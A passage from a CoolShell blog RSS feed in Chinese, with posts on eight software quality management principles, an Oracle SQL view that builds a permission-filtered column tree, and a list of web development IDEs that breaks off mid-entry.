decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"读书笔记：对线程模型的批评\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4626.html\" class=\"wp_rp_title\">读书笔记：对线程模型的批评</a></li><li ><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/rank_scatter1-150x150.png\" alt=\"编程语言流行度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3385.html\" class=\"wp_rp_title\">编程语言流行度</a></li><li ><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/language-evolution-150x150.jpg\" alt=\"编程语言进化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3100.html\" class=\"wp_rp_title\">编程语言进化</a></li><li ><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" alt=\"计算机编程简史图\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2724.html\" class=\"wp_rp_title\">计算机编程简史图</a></li><li ><a href=\"https://coolshell.cn/articles/2598.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" alt=\"五个编程语言设计的失误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2598.html\" class=\"wp_rp_title\">五个编程语言设计的失误</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/973.html\">编程语言的评测</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/973.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>质量管理经中的八个法则</title>\n\t\t<link>https://coolshell.cn/articles/971.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/971.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 06 Jun 2009 13:41:59 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[管理]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=971</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>质量管理在软件工程中是非常非常重要的一个环节，无论你有多么精妙的算法，或是使用了多么先进的技术，还是拥有了多少强的设计，在质量控制或质量管理面前，这些都可能什么...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/971.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/971.html\">质量管理经中的八个法则</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><span><span>质量管理在软件工程中是非常非常重要的一个环节，无论你有多么精妙的算法，或是使用了多么先进的技术，还是拥有了多少强的设计，在质量控制或质量管理面前，这些都可能什么都不是。这里，有一些质量管理的法则，可以让软件的用户从中受益。如果对质量管理一言以蔽之：面对一个长期不断需要改善的软件，当其用户或是管理者们来说，他们对某个组织所提供的标准有一种完全和最基本的信任。</span></span><a href=\"http://choosyinfo.com/blogs/wp-content/uploads/2009/06/qualitymangement.jpg\"></a></p>\n<p>下面，我们给出8个质量管理的法则：</p>\n<p><strong>1. 始终从用户角度出发:</strong> “无论何时何地，我们都需要明白用户当前的或未来的需求，并能够达到用户的需求，甚至超出用户的期望。”</p>\n<p>这是整个软件工程的重中之重。质量管理从某种意义上来说，就是实现用户需求的质量的管理。这需要我们的质量管理管理和用户的关系，以及把用户的需求和整个团队（开发组，测试组，产品组，项目组等等）进行有些的沟通管理。</p>\n<p><span id=\"more-971\"></span></p>\n<p><strong>2. 领导能力: </strong>“领导者需要建立一个团结统一的有明确方向的团队。这个团队可以创造并维护一种良好的内部气氛，这种氛围可以使得所有的人都能参与进来，从而达到整个团队的目标。”</p>\n<p>对此，我们需要有一个有前瞻性的领导能为整个团队创建一种相互信任的环境。提倡诚实，并积极引导团队成员。从而可以激励每个人，并创建一种策略（比如奖罚机制）来达到这这些目标。</p>\n<p><strong>3. 团队成员主动参与性:</strong><span> “团队成员总是有不同分工和不同职责的，只有所有的团队成员都参与进来，那么整个项目或是整个软件的各个部分，各个方面才会得到完美的发挥。”</span></p>\n<p><span>对此，让团队成员有主人翁精神，让他们觉得自己是工作或任务的所有者，是是否能让所有成员主动参与的关键。这里，我们还需要让每个被参与者都要从关注于用户的角度出发，并且帮助和支持团队成员，以及为他们营造一个比较满意的工作环境。</span></p>\n<p><strong>4. 流程方法:</strong> “我们需要一个非常有效率的流程或方法来把所有的资源和日常工作活动整合在一起，形成一种生产线式的生产模式”</p>\n<p>对此，定义一个合适的流程（注意这里是合适的流程，好的流程并不一定就是合适的）。这个流程需要有确定整个日常生产活动的输入，输出以及其功能。风险管理，分配责任，以及管理外部和内部的用户。</p>\n<p><strong>5. 系统方法管理:</strong> “确定，理解，并管理一个系统相关的流程，以使得整个团队能够有效并快速地自我改善。”</p>\n<p>对此，定义一个系统的组织架构，这个组织架构是高效和有效的。这里我们需要了解到团队的需求（硬件的，软件的，人员的，等等），并了解一些可能会发生的限制。这样我们才能有效地管理整个团队系统。</p>\n<p><strong>6. 连续的改进:</strong> “不断地改进是一个团队需要给自己设制的永久目标”</p>\n<p>对此，工作效率上的改进是整个改进的重中之重。工作效率方面，有大程度上取决于工作流程的改进，所以，流程改进是非常重要的，也是需要长期不断去努力改进的。要达到这一目标，一般来说，我们可以使用“计划——执行——检查——总结”这样的循环。</p>\n<p><strong>7. 决策中的事实说话:</strong> “只有基于对实际数据和信息的分析后，我们才能制定出有效的决策和行动”</p>\n<p>对此，我们需要注意日常数据和信息的收集，并且我们需要对采集到的数据和信息的精确性进行测量。这样才能让我们在进行决策和行动能基于正确的数据。</p>\n<p><strong>8. 互惠互利:</strong> “一个团队中的各个部门或各个子团队虽然是在功能上是独立的，但是，一个互惠互利的局面可以增强整个团队或公司的整体能力并创建更大的价值。”</p>\n<p><span>对此，我们需要一个健康的团队之间的关系。好的沟通只能让团队获益一时，而只有建立一个长期互惠互利关系或局面，才是长期。</span></p>\n<p><span>（全文完）</span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/76.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/03/09meeting-thumbnail-150x150.jpg\" alt=\"怎样做一个 Program Manager\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/76.html\" class=\"wp_rp_title\">怎样做一个 Program Manager</a></li><li ><a href=\"https://coolshell.cn/articles/652.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"MySQL: InnoDB 还是 MyISAM?\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/652.html\" class=\"wp_rp_title\">MySQL: InnoDB 还是 MyISAM?</a></li><li ><a href=\"https://coolshell.cn/articles/2474.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"（麻省理工免费课程）C语言内存管理和C++面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2474.html\" class=\"wp_rp_title\">（麻省理工免费课程）C语言内存管理和C++面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/4235.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/wisdom-225x300-150x150.jpg\" alt=\"程序员的谎谬之言还是至理名言？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4235.html\" class=\"wp_rp_title\">程序员的谎谬之言还是至理名言？</a></li><li ><a href=\"https://coolshell.cn/articles/6312.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg\" alt=\"一个女程序员的故事\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6312.html\" class=\"wp_rp_title\">一个女程序员的故事</a></li><li ><a href=\"https://coolshell.cn/articles/1278.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"Linus Torvalds 语录 Top 10\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1278.html\" class=\"wp_rp_title\">Linus Torvalds 语录 Top 10</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/971.html\">质量管理经中的八个法则</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/971.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>【原创】SQL栏目树的代码</title>\n\t\t<link>https://coolshell.cn/articles/962.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/962.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[whl]]></dc:creator>\n\t\t<pubDate>Thu, 04 Jun 2009 16:03:13 +0000</pubDate>\n\t\t\t\t<category><![CDATA[数据库]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Oracle]]></category>\n\t\t<category><![CDATA[SQL]]></category>\n\t\t<category><![CDATA[栏目树]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=962</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文由网友whl供稿，特此感谢！ /**   * Desc: 取栏目树 ,过滤用户权限和无效栏目   * Author: WHL   * Date: 2009-...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/962.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/962.html\">【原创】SQL栏目树的代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文由网友whl供稿，特此感谢！<br />\n/**<br />\n  * Desc: 取栏目树 ,过滤用户权限和无效栏目<br />\n  * Author: WHL<br />\n  * Date: 2009-05-31 15:17<br />\n  */<br />\n<span id=\"more-962\"></span><br />\n <br />\n/** 1. 取某用户有权限（np_cms_column_security表有记录且t.action_1 = &#8216;1&#8217;）的栏目的树 **/</p>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">create or replace view V_NP_CTREE_BS as\nselect B.* from (\nselect A.*, lag(A.column_id) over(partition by A.column_id order by 0 ) RK\n  from (select /*+choose */\n         t.*\n          from np_cms_column t\n         where t.is_active = &#039;1&#039;\n        connect by prior t.column_id = t.parent_id\n         start with t.column_id in (select t.column_id\n                                      from np_cms_column_security t\n                                     where t.subject_id = &#039;mazj&#039;\n                                          /*这里添加角色过滤*/\n                                       and t.action_1 = &#039;1&#039;))A) B\n where not exists\n (select 0\n          from (select distinct d.column_id\n                  from np_cms_column d\n                connect by prior d.column_id = d.parent_id\n                 start with d.column_id in\n                    (select t.column_id\n                       from np_cms_column_security t\n                      where t.subject_id = &#039;mazj&#039;\n                           /* 这里添加角色过滤*/\n                        and t.action_1 = &#039;0&#039;\n                           /* 排除有权限树下的非授权ID,既 Action_1=0的*/\n                        and exists\n                      (select 0\n                               from (select distinct d.column_id\n                                       from np_cms_column d\n                                     connect by prior d.column_id =\n                                                 d.parent_id\n                                      start with d.column_id in\n                                                 (select t.column_id\n                                                    from np_cms_column_security t\n                                                   where t.subject_id =\n                                                         &#039;mazj&#039;\n                                                        /*这里添加角色过滤*/\n                                                     and t.action_1 = &#039;1&#039;)) C1\n                              where C1.column_id = t.column_id))\n                        and d.is_active = &#039;1&#039;) C\n         where C.column_id = B.column_id and B.RK is null) and B.RK is null\nunion all\nselect c.*, 0 RK from np_cms_column c where c.parent_id = 0;\n</pre>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />\n/** 2.得到栏目的虚拟父亲ID（考虑到把断层的节点接起来）**/</p>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">create or replace view V_NP_CTREE_PA as\nselect B.*,\n       (case B.column_id\n         when 1 then 0 else nvl(B.father, 1) end) VFA\n  from (select v.*,\n               (select vv.column_id\n                  from V_NP_CTREE_BS vv\n                 where vv.column_id = v.parent_id) FATHER\n          from V_NP_CTREE_BS v) B;\n</pre>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />\n/** 3. 取出门户需要的栏目树 **/</p>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">--create or replace view V_NP_CTREE_RS as\nselect\n D.*, LPAD(&#039; &#039;, 2 * level - 1) || SYS_CONNECT_BY_PATH(D.COLUMN_NAME, &#039;/&#039;) &amp;quot;Path&amp;quot;\n  from (select c.*\n          from V_NP_CTREE_PA c\n         order by c.VFA, c.disorder desc, c.column_id desc) D\nconnect by prior D.column_id = D.VFA\n start with D.column_id = 1;\n \n</pre>\n<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />\n（<strong>本文版权由whl所，转载时请注明作者和出处</strong>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" alt=\"程序员疫苗：代码注入\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8711.html\" class=\"wp_rp_title\">程序员疫苗：代码注入</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png\" alt=\"NoSQL 数据建模技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_title\">NoSQL 数据建模技术</a></li><li ><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/02/programming-language-150x150.jpg\" alt=\"千万别惹程序员 \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6639.html\" class=\"wp_rp_title\">千万别惹程序员 </a></li><li ><a href=\"https://coolshell.cn/articles/3463.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/01/Inner_Join-150x150.png\" alt=\"图解SQL的Join\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3463.html\" class=\"wp_rp_title\">图解SQL的Join</a></li><li ><a href=\"https://coolshell.cn/articles/3433.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"6个有用的MySQL语句\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3433.html\" class=\"wp_rp_title\">6个有用的MySQL语句</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/962.html\">【原创】SQL栏目树的代码</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/962.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>18个Web开发的IDE</title>\n\t\t<link>https://coolshell.cn/articles/968.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/968.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 04 Jun 2009 15:24:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<category><![CDATA[HTML]]></category>\n\t\t<category><![CDATA[IDE]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=968</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Windows 下的IDE Visual Web Developer 免费 Visual Web Developer 是一个简单来说是Visual Studio...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/968.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/968.html\">18个Web开发的IDE</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h3>Windows 下的IDE</h3>\n<h4><a href=\"http://www.microsoft.com/express/vwd/\"><span style=\"color: #468175;\">Visual Web Developer</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/visual_web_developer.jpg\" alt=\"Visual Web Developer\" /></span></div>\n<ul>\n<li>免费</li>\n</ul>\n<p>Visual Web Developer 是一个简单来说是Visual Studio的一个剥离版本，只有web 开发。和VS一样它有一个很不错的project 管理和数据库工具。这个IDE面对的是初学者。</p>\n<p><span id=\"more-968\"></span></p>\n<h4><a href=\"http://www.mpsoftware.dk/phpdesigner.php\"><span style=\"color: #468175;\">phpDesigner</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/phpdesigner.png\" alt=\"phpDesigner\" /></span></div>\n<ul>\n<li>75€ (~$105)</li>\n</ul>\n<p><a href=\"http://www.phpeditors.com/\"><span style=\"color: #468175;\">www.phpeditors.com</span></a> 开发的 phpDesigner 是一个五星级的产品。他是一个超级快速的拥有强大功能的PHP的IDE。phpDesigner 提供一PHP调试器和性能分析器。它还支持所有WEB标准的语言。并提供了 TortoiseSVN 支持，并且支持PHP，HTML和CSS的实时的错误检测。还有一个代码片段程序库可以让你容易地获得简单的程序。</p>\n<h4><a href=\"http://www.phpedit.com/\"><span style=\"color: #468175;\">PHPEdit</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/phpedit.png\" alt=\"PPEdit\" /></span></div>\n<ul>\n<li>179€ (~$248)</li>\n</ul>\n<p>PHPEdit 是另一个漂亮的PHP IDE。它提供了调试器 (甚至有一个 Firefox 调试插件) 和数据库支持 (容易查询和创建数据表) ，还有一个非常不错的keyboard templates 可以让你很快地创建PHP的代码结构。使用PHPEdit可以非常容易地连接到服务器上。而且还有自动提示，自动完成的功能。</p>\n<h4><a href=\"http://www.microsoft.com/visualstudio/en-us/products/standard/default.mspx\"><span style=\"color: #468175;\">Visual Studio 2008</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/visual_studio.png\" alt=\"Visual Studio 2008\" /></span></div>\n<ul>\n<li>$299 (标准版)</li>\n</ul>\n<p>Visual Studio is 简单的说来是为了.NET 项目而设计的。对于这个IDE，相信大家都很熟悉，我就不多说了。（有谣言说VS 2010要支持PHP，呵呵）</p>\n<h4><a href=\"http://www.microsoft.com/expression/products/overview.aspx?key=web\"><span style=\"color: #468175;\">Expression Web</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/expression_web.png\" alt=\"Expression Web\" /></span></div>\n<ul>\n<li>$299</li>\n</ul>\n<p>Expression Web 也是一个非常不错的整洁的WEB开发工具。其提供了一大堆CSS 支持。用其开发WEB程序相当方便，只要你愿意，其不但支持ASP.NET，也支持PHP 。而且，其有实时的 (X)HTML 检验。</p>\n<p>最近，Microsoft 放出了<a href=\"http://www.microsoft.com/Expression/features/default.aspx?key=webpreview\"><span style=\"color: #468175;\">Expression Web SuperPreview</span></a>，这是一个可以预览你所开发的网页是否支持IE6, IE7 或是IE8 。</p>\n<h4><a href=\"http://www.nusphere.com/products/phped.htm\"><span style=\"color: #468175;\">PhpEd</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/phped.jpg\" alt=\"PhpEd\" /></span></div>\n<ul>\n<li>$299</li>\n</ul>\n<p>PhpEd 内建了PHP, HTML, 和CSS 校验器。并提供了代码自动完成的功能。当然，也有PHP代码调试和性能profiling功能。PhpEd 有一个最有创造性的功能是动态的语法高亮。我们想像一下，如果我们有一个文件中有多种语言，这个功能会把你光标所在位置的语言高亮，而其它地方则是一般的文本。</p>\n<h3>Linux 下的 IDE</h3>\n<h4><a href=\"http://bluefish.openoffice.nl/\"><span style=\"color: #468175;\">BlueFish</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/bluefish.png\" alt=\"BlueFish\" /></span></div>\n<ul>\n<li>免费</li>\n</ul>\n<p>Bluefish 面对的是一个轻量级的干净的IDE。它提供了项目支持，支持远程管理服务器上的文件。有代码自动完成，并且支持 PHP, CSS, Python, 和HTML.</p>\n<h3>Windows 和Mac 的IDE</h3>\n<h4><a href=\"http://www.adobe.com/products/dreamweaver/\"><span style=\"color: #468175;\">Dreamweaver CS4</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/dreamweaver.png\" alt=\"Dreamweaver\" /></span></div>\n<ul>\n<li>$399</li>\n</ul>\n<p>这个IDE就不多说了，超级强大和超级有名的IDE!</p>\n<h3>Windows, Mac, 和Linux IDEs</h3>\n<h4><a href=\"http://www.eclipse.org/\"><span style=\"color: #468175;\">Eclipse</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/eclipse.png\" alt=\"Eclipse\" /></span></div>\n<ul>\n<li>免费</li>\n</ul>\n<p>Eclipse 是一个史上最强大的IDE，它几乎可以做所有的事情，并有一堆插件支持。总之一句话，相当强大，无论是Java，PHP，无论是调试还是语法高亮以及其它功能，总之，相当不错。</p>\n<h4><a href=\"http://aptana.com/\"><span style=\"color: #468175;\">Aptana Studio</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/aptana.png\" alt=\"Aptana Studio\" /></span></div>\n<ul>\n<li>免费</li>\n</ul>\n<p>Aptana Studio 可以独立运行，也可以成为Eclipse 的一个插件。它主张的是——<q>&#8220;The Leading IDE for Web App Development.&#8221;</q> ，使用其插件，你可以让这个IDE支持PHP, Ruby on Rails, Java, 等等。并也支持很多LIB，如：jQuery, Prototype, YUI, 等等。还有一个SQL 数据库工具，JavaScript 调试。总之，功能太强大了。强大到有些受不了。</p>\n<h4><a href=\"http://www.netbeans.org/\"><span style=\"color: #468175;\">Netbeans</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/netbeans.png\" alt=\"Netbeans\" /></span></div>\n<ul>\n<li>免费</li>\n</ul>\n<p>这是一个开源的IDE，支持：PHP, Ruby on Rails, JavaScript, 等等。支持FTP 和MySQL。对于PHP，它提供了一个不错的调试器，以及错误警告。Netbeans 也是一个很不错的代码导航器，并整合了，很多framework及其文档，如jQuery 或Mootools.</p>\n<h4><a href=\"http://net2.com/nvu/\"><span style=\"color: #468175;\">Nvu</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/nvu.png\" alt=\"Nvu\" /></span></div>\n<ul>\n<li>免费</li>\n</ul>\n<p>Nvu 提供一个强大的“所见及所得”功能，其和Dreamweaver 和Expression Web相似，都是强调于编辑功能。</p>\n<h4><a href=\"http://spket.com/\"><span style=\"color: #468175;\">Spket IDE</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/spket.png\" alt=\"spket IDE\" /></span></div>\n<ul>\n<li>$29.90 (免费的非商业使用)</li>\n</ul>\n<p>Spket 主要面对的是RIA 开发。其主要支持Javascript 和Flex,。</p>\n<h4><a href=\"http://www.jetbrains.com/idea/features/index.html\"><span style=\"color: #468175;\">IntlliJ IDEA</span></a></h4>\n<div class=\"tutorial_image\"><span style=\"color: #468175;\"><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/341_ides/intellij_idea.png\" alt=\"IntelliJ IDEA\" /></span></div>\n<ul>\n<li>$249 